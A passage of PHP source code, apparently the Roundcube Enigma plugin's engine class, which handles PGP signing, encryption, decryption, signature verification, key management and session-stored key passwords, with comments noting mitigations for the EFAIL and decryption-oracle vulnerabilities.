    public $decryptions     = [];
    public $signatures      = [];
    public $encrypted_parts = [];

    const ENCRYPTED_PARTIALLY = 100;

    const SIGN_MODE_BODY     = 1;
    const SIGN_MODE_SEPARATE = 2;
    const SIGN_MODE_MIME     = 4;

    const ENCRYPT_MODE_BODY = 1;
    const ENCRYPT_MODE_MIME = 2;
    const ENCRYPT_MODE_SIGN = 4;


    /**
     * Plugin initialization.
     */
    function __construct($enigma)
    {
        $this->rc     = rcmail::get_instance();
        $this->enigma = $enigma;

        $this->password_time = $this->rc->config->get('enigma_password_time') * 60;

        // this will remove passwords from session after some time
        if ($this->password_time) {
            $this->get_passwords();
        }
    }

    /**
     * PGP driver initialization.
     */
    function load_pgp_driver()
    {
        if ($this->pgp_driver) {
            return;
        }

        $driver   = 'enigma_driver_' . $this->rc->config->get('enigma_pgp_driver', 'gnupg');
        $username = $this->rc->user->get_username();

        // Load driver
        $this->pgp_driver = new $driver($username);

        if (!$this->pgp_driver) {
            rcube::raise_error([
                    'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Enigma plugin: Unable to load PGP driver: $driver"
                ], true, true
            );
        }

        // Initialise driver
        $result = $this->pgp_driver->init();

        if ($result instanceof enigma_error) {
            self::raise_error($result, __LINE__, true);
        }
    }

    /**
     * S/MIME driver initialization.
     */
    function load_smime_driver()
    {
        if ($this->smime_driver) {
            return;
        }

        $driver   = 'enigma_driver_' . $this->rc->config->get('enigma_smime_driver', 'phpssl');
        $username = $this->rc->user->get_username();

        // Load driver
        $this->smime_driver = new $driver($username);

        if (!$this->smime_driver) {
            rcube::raise_error([
                    'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Enigma plugin: Unable to load S/MIME driver: $driver"
                ], true, true
            );
        }

        // Initialise driver
        $result = $this->smime_driver->init();

        if ($result instanceof enigma_error) {
            self::raise_error($result, __LINE__, true);
        }
    }

    /**
     * Handler for message signing
     *
     * @param Mail_mime &$message Original message
     * @param int       $mode     Encryption mode
     *
     * @return enigma_error On error returns error object
     */
    function sign_message(&$message, $mode = null)
    {
        $mime = new enigma_mime_message($message, enigma_mime_message::PGP_SIGNED);
        $from = $mime->getFromAddress();

        // find private key
        $key = $this->find_key($from, true);

        if (empty($key)) {
            return new enigma_error(enigma_error::KEYNOTFOUND);
        }

        // check if we have password for this key
        $passwords = $this->get_passwords();
        $pass      = $passwords[$key->id] ?? null;

        if ($pass === null && !$this->rc->config->get('enigma_passwordless')) {
            // ask for password
            $error = ['missing' => [$key->id => $key->name]];
            return new enigma_error(enigma_error::BADPASS, '', $error);
        }

        $key->password = $pass;

        // select mode
        switch ($mode) {
        case self::SIGN_MODE_BODY:
            $pgp_mode = Crypt_GPG::SIGN_MODE_CLEAR;
            break;

        case self::SIGN_MODE_MIME:
            $pgp_mode = Crypt_GPG::SIGN_MODE_DETACHED;
            break;

        default:
            if ($mime->isMultipart()) {
                $pgp_mode = Crypt_GPG::SIGN_MODE_DETACHED;
            }
            else {
                $pgp_mode = Crypt_GPG::SIGN_MODE_CLEAR;
            }
        }

        // get message body
        if ($pgp_mode == Crypt_GPG::SIGN_MODE_CLEAR) {
            // in this mode we'll replace text part
            // with the one containing signature
            $body = $message->getTXTBody();

            $text_charset = $message->getParam('text_charset');
            $line_length  = $this->rc->config->get('line_length', 72);

            // We can't use format=flowed for signed messages
            if (strpos($text_charset, 'format=flowed')) {
                list($charset, $params) = explode(';', $text_charset);
                $body = rcube_mime::unfold_flowed($body);
                $body = rcube_mime::wordwrap($body, $line_length, "\r\n", false, $charset);

                $text_charset = str_replace(";\r\n format=flowed", '', $text_charset);
            }
        }
        else {
            // here we'll build PGP/MIME message
            $body = $mime->getOrigBody();
        }

        // sign the body
        $result = $this->pgp_sign($body, $key, $pgp_mode);

        if ($result !== true) {
            if ($result->getCode() == enigma_error::BADPASS) {
                // ask for password
                $error = ['bad' => [$key->id => $key->name]];
                return new enigma_error(enigma_error::BADPASS, '', $error);
            }

            return $result;
        }

        // replace message body
        if ($pgp_mode == Crypt_GPG::SIGN_MODE_CLEAR) {
            $message->setTXTBody($body);
            if (!empty($text_charset)) {
                $message->setParam('text_charset', $text_charset);
            }
        }
        else {
            $mime->addPGPSignature($body, $this->pgp_driver->signature_algorithm());
            $message = $mime;
        }
    }

    /**
     * Handler for message encryption
     *
     * @param Mail_mime &$message Original message
     * @param int       $mode     Encryption mode
     * @param bool      $is_draft Is draft-save action - use only sender's key for encryption
     *
     * @return enigma_error On error returns error object
     */
    function encrypt_message(&$message, $mode = null, $is_draft = false)
    {
        $mime = new enigma_mime_message($message, enigma_mime_message::PGP_ENCRYPTED);

        // always use sender's key
        $from = $mime->getFromAddress();

        $sign_key = null;
        $keys     = [];

        // check senders key for signing
        if ($mode & self::ENCRYPT_MODE_SIGN) {
            $sign_key = $this->find_key($from, true);

            if (empty($sign_key)) {
                return new enigma_error(enigma_error::KEYNOTFOUND);
            }

            // check if we have password for this key
            $passwords = $this->get_passwords();
            $sign_pass = $passwords[$sign_key->id] ?? null;

            if ($sign_pass === null && !$this->rc->config->get('enigma_passwordless')) {
                // ask for password
                $error = ['missing' => [$sign_key->id => $sign_key->name]];
                return new enigma_error(enigma_error::BADPASS, '', $error);
            }

            $sign_key->password = $sign_pass;
        }

        $recipients = [$from];

        // if it's not a draft we add all recipients' keys
        if (!$is_draft) {
            $recipients = array_merge($recipients, $mime->getRecipients());
        }

        $recipients = array_unique($recipients);

        // find recipient public keys
        foreach ((array) $recipients as $email) {
            if ($email == $from && $sign_key) {
                $key = $sign_key;
            }
            else {
                $key = $this->find_key($email);
            }

            if (empty($key)) {
                return new enigma_error(enigma_error::KEYNOTFOUND, '', ['missing' => $email]);
            }

            $keys[] = $key;
        }

        // select mode
        if ($mode & self::ENCRYPT_MODE_BODY) {
            $encrypt_mode = $mode;
        }
        else if ($mode & self::ENCRYPT_MODE_MIME) {
            $encrypt_mode = $mode;
        }
        else {
            $encrypt_mode = $mime->isMultipart() ? self::ENCRYPT_MODE_MIME : self::ENCRYPT_MODE_BODY;
        }

        // get message body
        if ($encrypt_mode == self::ENCRYPT_MODE_BODY) {
            // in this mode we'll replace text part
            // with the one containing encrypted message
            $body = $message->getTXTBody();
        }
        else {
            // here we'll build PGP/MIME message
            $body = $mime->getOrigBody();
        }

        // sign the body
        $result = $this->pgp_encrypt($body, $keys, $sign_key);

        if ($result !== true) {
            if ($result->getCode() == enigma_error::BADPASS) {
                // ask for password
                $error = ['bad' => [$sign_key->id => $sign_key->name]];
                return new enigma_error(enigma_error::BADPASS, '', $error);
            }

            return $result;
        }

        // replace message body
        if ($encrypt_mode == self::ENCRYPT_MODE_BODY) {
            $message->setTXTBody($body);
        }
        else {
            $mime->setPGPEncryptedBody($body);
            $message = $mime;
        }
    }

    /**
     * Handler for attaching public key to a message
     *
     * @param Mail_mime &$message Original message
     *
     * @return bool True on success, False on failure
     */
    function attach_public_key(&$message)
    {
        $headers = $message->headers();
        $from    = rcube_mime::decode_address_list($headers['From'], 1, false, null, true);
        $from    = $from[1] ?? null;

        // find my key
        if ($from && ($key = $this->find_key($from, true))) {
            $pubkey_armor = $this->export_key($key->id);

            if (!$pubkey_armor instanceof enigma_error) {
                $pubkey_name = '0x' . enigma_key::format_id($key->id) . '.asc';
                $message->addAttachment($pubkey_armor, 'application/pgp-keys', $pubkey_name, false, '7bit');
                return true;
            }
        }

        return false;
    }

    /**
     * Handler for message_part_structure hook.
     * Called for every part of the message.
     *
     * @param array  $p    Original parameters
     * @param string $body Part body (will be set if used internally)
     *
     * @return array Modified parameters
     */
    function part_structure($p, $body = null)
    {
        static $got_content = false;

        // Prevent from "decryption oracle" [CVE-2019-10740] (#6638)
        // On mail compose (edit/reply/forward) we support encrypted content only
        // in the first "content part" of the message.
        if ($got_content && $this->rc->task == 'mail' && $this->rc->action == 'compose') {
            return;
        }

        // Don't be tempted to support encryption in text/html parts
        // Because of EFAIL vulnerability we should never support this (#6289)

        if ($p['mimetype'] == 'text/plain' || $p['mimetype'] == 'application/pgp') {
            $this->parse_plain($p, $body);
            $got_content = true;
        }
        else if ($p['mimetype'] == 'multipart/signed') {
            $this->parse_signed($p, $body);
            $got_content = true;
        }
        else if ($p['mimetype'] == 'multipart/encrypted') {
            $this->parse_encrypted($p);
            $got_content = true;
        }
        else if ($p['mimetype'] == 'application/pkcs7-mime') {
            $this->parse_encrypted($p);
            $got_content = true;
        }
        else {
            $got_content = !empty($p['structure']->type) && $p['structure']->type === 'content';
        }

        return $p;
    }

    /**
     * Handler for message_part_body hook.
     *
     * @param array $p Original parameters
     *
     * @return array Modified parameters
     */
    function part_body($p)
    {
        // encrypted attachment, see parse_plain_encrypted()
        if (!empty($p['part']->need_decryption) && $p['part']->body === null) {
            $this->load_pgp_driver();

            $storage = $this->rc->get_storage();
            $body    = $storage->get_message_part($p['object']->uid, $p['part']->mime_id, $p['part'], null, null, true, 0, false);
            $result  = $this->pgp_decrypt($body);

            // @TODO: what to do on error?
            if ($result === true) {
                $p['part']->body = $body;
                $p['part']->size = strlen($body);
                $p['part']->body_modified = true;
            }
        }

        return $p;
    }

    /**
     * Handler for plain/text message.
     *
     * @param array  &$p   Reference to hook's parameters
     * @param string $body Part body (will be set if used internally)
     */
    function parse_plain(&$p, $body = null)
    {
        $part = $p['structure'];

        // Get message body from IMAP server
        if ($body === null) {
            $body = $this->get_part_body($p['object'], $part);
        }

        // In this way we can use fgets on string as on file handle
        // Don't use php://temp for security (body may come from an encrypted part)
        $fd = fopen('php://memory', 'r+');
        if (!$fd) {
            return;
        }

        fwrite($fd, $body);
        rewind($fd);

        $body   = '';
        $prefix = '';
        $mode   = '';
        $tokens = [
            'BEGIN PGP SIGNED MESSAGE' => 'signed-start',
            'END PGP SIGNATURE'        => 'signed-end',
            'BEGIN PGP MESSAGE'        => 'encrypted-start',
            'END PGP MESSAGE'          => 'encrypted-end',
        ];
        $regexp = '/^-----(' . implode('|', array_keys($tokens)) . ')-----[\r\n]*/';

        while (($line = fgets($fd)) !== false) {
            if (strlen($line) > 5 && $line[0] === '-' && $line[4] === '-' && preg_match($regexp, $line, $m)) {
                switch ($tokens[$m[1]]) {
                case 'signed-start':
                    $body = $line;
                    $mode = 'signed';
                    break;

                case 'signed-end':
                    if ($mode === 'signed') {
                        $body .= $line;
                    }
                    break 2; // ignore anything after this line

                case 'encrypted-start':
                    $body = $line;
                    $mode = 'encrypted';
                    break;

                case 'encrypted-end':
                    if ($mode === 'encrypted') {
                        $body .= $line;
                    }
                    break 2; // ignore anything after this line
                }

                continue;
            }

            if ($mode === 'signed') {
                $body .= $line;
            }
            else if ($mode === 'encrypted') {
                $body .= $line;
            }
            else {
                $prefix .= $line;
            }
        }

        fclose($fd);

        if ($mode === 'signed') {
            $this->parse_plain_signed($p, $body, $prefix);
        }
        else if ($mode === 'encrypted') {
            $this->parse_plain_encrypted($p, $body, $prefix);
        }
    }

    /**
     * Handler for multipart/signed message.
     *
     * @param array  &$p   Reference to hook's parameters
     * @param string $body Part body (will be set if used internally)
     */
    function parse_signed(&$p, $body = null)
    {
        $struct = $p['structure'];

        // S/MIME
        if (!empty($struct->parts[1]) && $struct->parts[1]->mimetype == 'application/pkcs7-signature') {
            $this->parse_smime_signed($p, $body);
        }
        // PGP/MIME: RFC3156
        // The multipart/signed body MUST consist of exactly two parts.
        // The first part contains the signed data in MIME canonical format,
        // including a set of appropriate content headers describing the data.
        // The second body MUST contain the PGP digital signature.  It MUST be
        // labeled with a content type of "application/pgp-signature".
        else if (count($struct->parts) == 2
            && $struct->parts[1] && $struct->parts[1]->mimetype == 'application/pgp-signature'
        ) {
            $this->parse_pgp_signed($p, $body);
        }
    }

    /**
     * Handler for multipart/encrypted message.
     *
     * @param array &$p Reference to hook's parameters
     */
    function parse_encrypted(&$p)
    {
        $struct = $p['structure'];

        // S/MIME
        if ($p['mimetype'] == 'application/pkcs7-mime') {
            $this->parse_smime_encrypted($p);
        }
        // PGP/MIME: RFC3156
        // The multipart/encrypted MUST consist of exactly two parts. The first
        // MIME body part must have a content type of "application/pgp-encrypted".
        // This body contains the control information.
        // The second MIME body part MUST contain the actual encrypted data.  It
        // must be labeled with a content type of "application/octet-stream".
        else if (count($struct->parts) == 2
            && $struct->parts[0] && $struct->parts[0]->mimetype == 'application/pgp-encrypted'
            && $struct->parts[1] && $struct->parts[1]->mimetype == 'application/octet-stream'
        ) {
            $this->parse_pgp_encrypted($p);
        }
    }

    /**
     * Handler for plain signed message.
     * Excludes message and signature bodies and verifies signature.
     *
     * @param array  &$p     Reference to hook's parameters
     * @param string $body   Message (part) body
     * @param string $prefix Body prefix (additional text before the encrypted block)
     */
    private function parse_plain_signed(&$p, $body, $prefix = '')
    {
        if (!$this->rc->config->get('enigma_signatures', true)) {
            return;
        }

        $this->load_pgp_driver();
        $part = $p['structure'];

        // Verify signature
        if ($this->rc->action == 'show' || $this->rc->action == 'preview' || $this->rc->action == 'print') {
            $sig = $this->pgp_verify($body);
        }

        // In this way we can use fgets on string as on file handle
        // Don't use php://temp for security (body may come from an encrypted part)
        $fd = fopen('php://memory', 'r+');
        if (!$fd) {
            return;
        }

        fwrite($fd, $body);
        rewind($fd);

        $body = $part->body = null;
        $part->body_modified = true;

        // Extract body (and signature?)
        while (($line = fgets($fd, 1024)) !== false) {
            if ($part->body === null) {
                $part->body = '';
            }
            else if (preg_match('/^-----BEGIN PGP SIGNATURE-----/', $line)) {
                break;
            }
            else {
                $part->body .= $line;
            }
        }

        fclose($fd);

        // Remove "Hash" Armor Headers
        $part->body = preg_replace('/^.*\r*\n\r*\n/', '', $part->body);
        // de-Dash-Escape (RFC2440)
        $part->body = preg_replace('/(^|\n)- -/', '\\1-', $part->body);

        if ($prefix) {
            $part->body = $prefix . $part->body;
        }

        // Store signature data for display
        if (!empty($sig)) {
            $sig->partial = !empty($prefix);
            $this->signatures[$part->mime_id] = $sig;
        }
    }

    /**
     * Handler for PGP/MIME signed message.
     * Verifies signature.
     *
     * @param array  &$p   Reference to hook's parameters
     * @param string $body Part body (will be set if used internally)
     */
    private function parse_pgp_signed(&$p, $body = null)
    {
        if (!$this->rc->config->get('enigma_signatures', true)) {
            return;
        }

        if ($this->rc->action != 'show' && $this->rc->action != 'preview' && $this->rc->action != 'print') {
            return;
        }

        $this->load_pgp_driver();
        $struct = $p['structure'];

        $msg_part = $struct->parts[0];
        $sig_part = $struct->parts[1];

        // Get bodies
        if ($body === null) {
            if (empty($struct->body_modified)) {
                $body = $this->get_part_body($p['object'], $struct);
            }
        }

        $boundary = $struct->ctype_parameters['boundary'];

        // when it is a signed message forwarded as attachment
        // ctype_parameters property will not be set
        if (!$boundary && !empty($struct->headers['content-type'])
            && preg_match('/boundary="?([a-zA-Z0-9\'()+_,-.\/:=?]+)"?/', $struct->headers['content-type'], $m)
        ) {
            $boundary = $m[1];
        }

        // set signed part body
        list($msg_body, $sig_body) = $this->explode_signed_body($body, $boundary);

        // Verify
        if ($sig_body && $msg_body) {
            $sig = $this->pgp_verify($msg_body, $sig_body);

            // Store signature data for display
            $this->signatures[$struct->mime_id]   = $sig;
            $this->signatures[$msg_part->mime_id] = $sig;
        }
    }

    /**
     * Handler for S/MIME signed message.
     * Verifies signature.
     *
     * @param array  &$p   Reference to hook's parameters
     * @param string $body Part body (will be set if used internally)
     */
    private function parse_smime_signed(&$p, $body = null)
    {
        if (!$this->rc->config->get('enigma_signatures', true)) {
            return;
        }

        // @TODO
    }

    /**
     * Handler for plain encrypted message.
     *
     * @param array  &$p     Reference to hook's parameters
     * @param string $body   Message (part) body
     * @param string $prefix Body prefix (additional text before the encrypted block)
     */
    private function parse_plain_encrypted(&$p, $body, $prefix = '')
    {
        if (!$this->rc->config->get('enigma_decryption', true)) {
            return;
        }

        $this->load_pgp_driver();
        $part = $p['structure'];

        // Decrypt
        $result = $this->pgp_decrypt($body, $signature);

        // Store decryption status
        $this->decryptions[$part->mime_id] = $result;

        // Store signature data for display
        if ($signature) {
            $this->signatures[$part->mime_id] = $signature;
        }

        // find parent part ID
        if (strpos($part->mime_id, '.')) {
            $items = explode('.', $part->mime_id);
            array_pop($items);
            $parent = implode('.', $items);
        }
        else {
            $parent = 0;
        }

        // Parse decrypted message
        if ($result === true) {
            $part->body          = $prefix . $body;
            $part->body_modified = true;

            // it maybe PGP signed inside, verify signature
            $this->parse_plain($p, $body);

            // Remember it was decrypted
            $this->encrypted_parts[] = $part->mime_id;

            // Inform the user that only a part of the body was encrypted
            if ($prefix) {
                $this->decryptions[$part->mime_id] = self::ENCRYPTED_PARTIALLY;
            }

            // Encrypted plain message may contain encrypted attachments
            // in such case attachments have .pgp extension and type application/octet-stream.
            // This is what happens when you select "Encrypt each attachment separately
            // and send the message using inline PGP" in Thunderbird's Enigmail.

            if (!empty($p['object']->mime_parts[$parent])) {
                foreach ((array) $p['object']->mime_parts[$parent]->parts as $p) {
                    if ($p->disposition == 'attachment' && $p->mimetype == 'application/octet-stream'
                        && preg_match('/^(.*)\.pgp$/i', $p->filename, $m)
                    ) {
                        // modify filename
                        $p->filename = $m[1];
                        // flag the part, it will be decrypted when needed
                        $p->need_decryption = true;
                        // disable caching
                        $p->body_modified = true;
                    }
                }
            }
        }
        // decryption failed, but the message may have already
        // been cached with the modified parts (see above),
        // let's bring the original state back
        else if (!empty($p['object']->mime_parts[$parent])) {
            foreach ((array) $p['object']->mime_parts[$parent]->parts as $p) {
                if ($p->need_decryption && !preg_match('/^(.*)\.pgp$/i', $p->filename, $m)) {
                    // modify filename
                    $p->filename .= '.pgp';
                    // flag the part, it will be decrypted when needed
                    unset($p->need_decryption);
                }
            }
        }
    }

    /**
     * Handler for PGP/MIME encrypted message.
     *
     * @param array &$p Reference to hook's parameters
     */
    private function parse_pgp_encrypted(&$p)
    {
        if (!$this->rc->config->get('enigma_decryption', true)) {
            return;
        }

        $this->load_pgp_driver();

        $struct = $p['structure'];
        $part   = $struct->parts[1];

        // Get body
        $body = $this->get_part_body($p['object'], $part);

        // Decrypt
        $result = $this->pgp_decrypt($body, $signature);

        if ($result === true) {
            // Parse decrypted message
            $struct = $this->parse_body($body);

            // Modify original message structure
            $this->modify_structure($p, $struct, strlen($body));

            // Parse the structure (there may be encrypted/signed parts inside
            $this->part_structure([
                    'object'    => $p['object'],
                    'structure' => $struct,
                    'mimetype'  => $struct->mimetype
                ], $body);

            // Attach the decryption message to all parts
            $this->decryptions[$struct->mime_id] = $result;
            foreach ((array) $struct->parts as $sp) {
                $this->decryptions[$sp->mime_id] = $result;
                if ($signature) {
                    $this->signatures[$sp->mime_id] = $signature;
                }
            }
        }
        else {
            $this->decryptions[$part->mime_id] = $result;

            // Make sure decryption status message will be displayed
            $part->type = 'content';
            $p['object']->parts[] = $part;

            // don't show encrypted part on attachments list
            // don't show "cannot display encrypted message" text
            $p['abort'] = true;
        }
    }

    /**
     * Handler for S/MIME encrypted message.
     *
     * @param array &$p Reference to hook's parameters
     */
    private function parse_smime_encrypted(&$p)
    {
        if (!$this->rc->config->get('enigma_decryption', true)) {
            return;
        }

        // @TODO
    }

    /**
     * PGP signature verification.
     *
     * @param mixed &$msg_body Message body
     * @param mixed $sig_body  Signature body (for MIME messages)
     *
     * @return mixed enigma_signature or enigma_error
     */
    private function pgp_verify(&$msg_body, $sig_body = null)
    {
        // @TODO: Handle big bodies using (temp) files

        // Get rid of possible non-ascii characters (#5962)
        $sig_body = preg_replace('/[^\x00-\x7F]/', '', $sig_body);

        $sig = $this->pgp_driver->verify($msg_body, $sig_body);

        if (($sig instanceof enigma_error) && $sig->getCode() != enigma_error::KEYNOTFOUND) {
            self::raise_error($sig, __LINE__);
        }

        return $sig;
    }

    /**
     * PGP message decryption.
     *
     * @param mixed            &$msg_body  Message body
     * @param enigma_signature &$signature Signature verification result
     *
     * @return mixed True or enigma_error
     */
    private function pgp_decrypt(&$msg_body, &$signature = null)
    {
        // @TODO: Handle big bodies using (temp) files

        // Get rid of possible non-ascii characters (#5962)
        $msg_body = preg_replace('/[^\x00-\x7F]/', '', $msg_body);

        $keys   = $this->get_passwords();
        $result = $this->pgp_driver->decrypt($msg_body, $keys, $signature);

        if ($result instanceof enigma_error) {
            if ($result->getCode() != enigma_error::KEYNOTFOUND) {
                self::raise_error($result, __LINE__);
            }

            return $result;
        }

        $msg_body = $result;

        return true;
    }

    /**
     * PGP message signing
     *
     * @param mixed      &$msg_body Message body
     * @param enigma_key $key       The key (with passphrase)
     * @param int        $mode      Signing mode
     *
     * @return mixed True or enigma_error
     */
    private function pgp_sign(&$msg_body, $key, $mode = null)
    {
        // @TODO: Handle big bodies using (temp) files
        $result = $this->pgp_driver->sign($msg_body, $key, $mode);

        if ($result instanceof enigma_error) {
            if ($result->getCode() != enigma_error::KEYNOTFOUND) {
                self::raise_error($result, __LINE__);
            }

            return $result;
        }

        $msg_body = $result;

        return true;
    }

    /**
     * PGP message encrypting
     *
     * @param mixed  &$msg_body Message body
     * @param array  $keys      Keys (array of enigma_key objects)
     * @param string $sign_key  Optional signing Key ID
     * @param string $sign_pass Optional signing Key password
     *
     * @return mixed True or enigma_error
     */
    private function pgp_encrypt(&$msg_body, $keys, $sign_key = null, $sign_pass = null)
    {
        // @TODO: Handle big bodies using (temp) files
        $result = $this->pgp_driver->encrypt($msg_body, $keys, $sign_key, $sign_pass);

        if ($result instanceof enigma_error) {
            if ($result->getCode() != enigma_error::KEYNOTFOUND) {
                self::raise_error($result, __LINE__);
            }

            return $result;
        }

        $msg_body = $result;

        return true;
    }

    /**
     * PGP keys listing.
     *
     * @param mixed $pattern Key ID/Name pattern
     *
     * @return mixed Array of keys or enigma_error
     */
    function list_keys($pattern = '')
    {
        $this->load_pgp_driver();
        $result = $this->pgp_driver->list_keys($pattern);

        if ($result instanceof enigma_error) {
            self::raise_error($result, __LINE__);
        }

        return $result;
    }

    /**
     * Find PGP private/public key
     *
     * @param string $email    E-mail address
     * @param bool   $can_sign Need a key for signing?
     *
     * @return enigma_key The key
     */
    function find_key($email, $can_sign = false)
    {
        if ($can_sign && array_key_exists($email, $this->cache)) {
            return $this->cache[$email];
        }

        $this->load_pgp_driver();
        $result = $this->pgp_driver->list_keys($email);

        if ($result instanceof enigma_error) {
            self::raise_error($result, __LINE__);
            return;
        }

        $mode = $can_sign ? enigma_key::CAN_SIGN : enigma_key::CAN_ENCRYPT;
        $ret  = null;

        // check key validity and type
        foreach ($result as $key) {
            if (($subkey = $key->find_subkey($email, $mode))
                && (!$can_sign || $key->get_type() == enigma_key::TYPE_KEYPAIR)
            ) {
                $ret = $key;
                break;
            }
        }

        // cache private key info for better performance
        // we can skip one list_keys() call when signing and attaching a key
        if ($can_sign) {
            $this->cache[$email] = $ret;
        }

        return $ret;
    }

    /**
     * PGP key details.
     *
     * @param mixed $keyid Key ID
     *
     * @return mixed enigma_key or enigma_error
     */
    function get_key($keyid)
    {
        $this->load_pgp_driver();
        $result = $this->pgp_driver->get_key($keyid);

        if ($result instanceof enigma_error) {
            self::raise_error($result, __LINE__);
        }

        return $result;
    }

    /**
     * PGP key delete.
     *
     * @param string $keyid Key ID
     *
     * @return enigma_error|bool True on success
     */
    function delete_key($keyid)
    {
        $this->load_pgp_driver();
        $result = $this->pgp_driver->delete_key($keyid);

        if ($result instanceof enigma_error) {
            self::raise_error($result, __LINE__);
        }

        return $result;
    }

    /**
     * PGP keys pair generation.
     *
     * @param array $data Key pair parameters
     *
     * @return mixed enigma_key or enigma_error
     */
    function generate_key($data)
    {
        $this->load_pgp_driver();
        $result = $this->pgp_driver->gen_key($data);

        if ($result instanceof enigma_error) {
            self::raise_error($result, __LINE__);
        }

        return $result;
    }

    /**
     * PGP keys/certs import.
     *
     * @param mixed $content Import file name or content
     * @param bool  $isfile  True if first argument is a filename
     *
     * @return mixed Import status data array or enigma_error
     */
    function import_key($content, $isfile = false)
    {
        $this->load_pgp_driver();
        $result = $this->pgp_driver->import($content, $isfile, $this->get_passwords());

        if ($result instanceof enigma_error) {
            self::raise_error($result, __LINE__);
        }
        else {
            $result['imported']  = $result['public_imported'] + $result['private_imported'];
            $result['unchanged'] = $result['public_unchanged'] + $result['private_unchanged'];
        }

        return $result;
    }

    /**
     * PGP keys/certs export.
     *
     * @param string   $key             Key ID
     * @param resource $fp              Optional output stream
     * @param bool     $include_private Include private key
     *
     * @return mixed Key content or enigma_error
     */
    function export_key($key, $fp = null, $include_private = false)
    {
        $this->load_pgp_driver();
        $result = $this->pgp_driver->export($key, $include_private, $this->get_passwords());

        if ($result instanceof enigma_error) {
            self::raise_error($result, __LINE__);
            return $result;
        }

        if ($fp) {
            fwrite($fp, $result);
        }
        else {
            return $result;
        }
    }

    /**
     * Registers password for specified key/cert sent by the password prompt.
     */
    function password_handler()
    {
        $keyid  = rcube_utils::get_input_string('_keyid', rcube_utils::INPUT_POST);
        $passwd = rcube_utils::get_input_string('_passwd', rcube_utils::INPUT_POST, true);

        if ($keyid && strlen($passwd)) {
            $this->save_password(strtoupper($keyid), $passwd);
        }
    }

    /**
     * Saves key/cert password in user session
     */
    function save_password($keyid, $password)
    {
        // we store passwords in session for specified time
        if (!empty($_SESSION['enigma_pass'])) {
            $config = $this->rc->decrypt($_SESSION['enigma_pass']);
            $config = unserialize($config);
        } else {
            $config = [];
        }

        $config[$keyid] = [$password, time()];

        $_SESSION['enigma_pass'] = $this->rc->encrypt(serialize($config));
    }

    /**
     * Returns currently stored passwords
     */
    function get_passwords()
    {
        if (!empty($_SESSION['enigma_pass'])) {
            $config = $this->rc->decrypt($_SESSION['enigma_pass']);
            $config = @unserialize($config);
        }

        $threshold = $this->password_time ? time() - $this->password_time : 0;
        $keys      = [];

        // delete expired passwords
        if (!empty($config)) {
            foreach ($config as $key => $value) {
                if ($threshold && $value[1] < $threshold) {
                    unset($config[$key]);
                    $modified = true;
                }
                else {
                    $keys[$key] = $value[0];
                }
            }

            if (!empty($modified)) {
                $_SESSION['enigma_pass'] = $this->rc->encrypt(serialize($config));
            }
        }

        return $keys;
    }

    /**
     * Get message part body.
     *
     * @param rcube_message      $msg  Message object
     * @param rcube_message_part $part Message part
     */
    private function get_part_body($msg, $part)
    {
        // @TODO: Handle big bodies using file handles

        // This is a special case when we want to get the whole body
        // using direct IMAP access, in other cases we prefer
        // rcube_message::get_part_body() as the body may be already in memory
        if (!$part->mime_id) {
            // fake the size which may be empty for multipart/* parts
            // otherwise get_message_part() below will fail
            if (!$part->size) {
                $reset = true;
                $part->size = 1;
            }

            $storage = $this->rc->get_storage();
            $body    = $storage->get_message_part($msg->uid, $part->mime_id, $part,
                null, null, true, 0, false);

            if (!empty($reset)) {
                $part->size = 0;
            }
        }
        else {
            $body = $msg->get_part_body($part->mime_id, false);
        }

        return $body;
    }

    /**
     * Parse decrypted message body into structure
     *
     * @param string &$body Message body
     *
     * @return array Message structure
     */
    private function parse_body(&$body)
    {
        // Mail_mimeDecode need \r\n end-line, but gpg may return \n
        $body = preg_replace('/\r?\n/', "\r\n", $body);

        // parse the body into structure
        return rcube_mime::parse_message($body);
    }

    /**
     * Replace message encrypted structure with decrypted message structure
     *
     * @param array              &$p     Hook arguments
     * @param rcube_message_part $struct Part structure
     * @param int                $size   Part size
     */
    private function modify_structure(&$p, $struct, $size = 0)
    {
        // modify mime_parts property of the message object
        $old_id = $p['structure']->mime_id;

        foreach (array_keys($p['object']->mime_parts) as $idx) {
            if (!$old_id || $idx == $old_id || strpos($idx, $old_id . '.') === 0) {
                unset($p['object']->mime_parts[$idx]);
            }
        }

        // set some part params used by Roundcube core
        $struct->headers  = array_merge($p['structure']->headers, $struct->headers);
        $struct->size     = $size;
        $struct->filename = $p['structure']->filename;

        // modify the new structure to be correctly handled by Roundcube
        $this->modify_structure_part($struct, $p['object'], $old_id);

        // replace old structure with the new one
        $p['structure'] = $struct;
        $p['mimetype']  = $struct->mimetype;
    }

    /**
     * Modify decrypted message part
     *
     * @param rcube_message_part $part
     * @param rcube_message      $msg
     * @param string             $old_id
     */
    private function modify_structure_part($part, $msg, $old_id)
    {
        // never cache the body
        $part->body_modified = true;
        $part->encoding      = 'stream';

        // modify part identifier
        if ($old_id) {
            $part->mime_id = !$part->mime_id ? $old_id : ($old_id . '.' . $part->mime_id);
        }

        // Cache the fact it was decrypted
        $this->encrypted_parts[] = $part->mime_id;
        $msg->mime_parts[$part->mime_id] = $part;

        // modify sub-parts
        foreach ((array) $part->parts as $p) {
            $this->modify_structure_part($p, $msg, $old_id);
        }
    }

    /**
     * Extracts body and signature of multipart/signed message body
     */
    private function explode_signed_body($body, $boundary)
    {
        if (!$body) {
            return [];
        }

        $boundary     = '--' . $boundary;
        $boundary_len = strlen($boundary) + 2;

        // Find boundaries
        $start = strpos($body, $boundary) + $boundary_len;
        $end   = strpos($body, $boundary, $start);

        // Get signed body and signature
        $sig  = substr($body, $end + $boundary_len);
        $body = substr($body, $start, $end - $start - 2);

        // Cleanup signature
        $sig = substr($sig, strpos($sig, "\r\n\r\n") + 4);
        $sig = substr($sig, 0, strpos($sig, $boundary));

        return [$body, $sig];
    }

    /**
     * Checks if specified message part is a PGP-key or S/MIME cert data
     *
     * @param rcube_message_part $part Part object
     *
     * @return bool True if part is a key/cert
     */
    public function is_keys_part($part)
    {
        // @TODO: S/MIME
        return (
            // Content-Type: application/pgp-keys
            $part->mimetype == 'application/pgp-keys'
        );
    }

    /**
     * Removes all user keys and assigned data
     *
     * @param string $username Username
     *
     * @return bool True on success, False on failure
     */
    public function delete_user_data($username)
    {
        $homedir = $this->rc->config->get('enigma_pgp_homedir', INSTALL_PATH . 'plugins/enigma/home');
        $homedir .= DIRECTORY_SEPARATOR . $username;

        return file_exists($homedir) ? self::delete_dir($homedir) : true;
    }

    /**
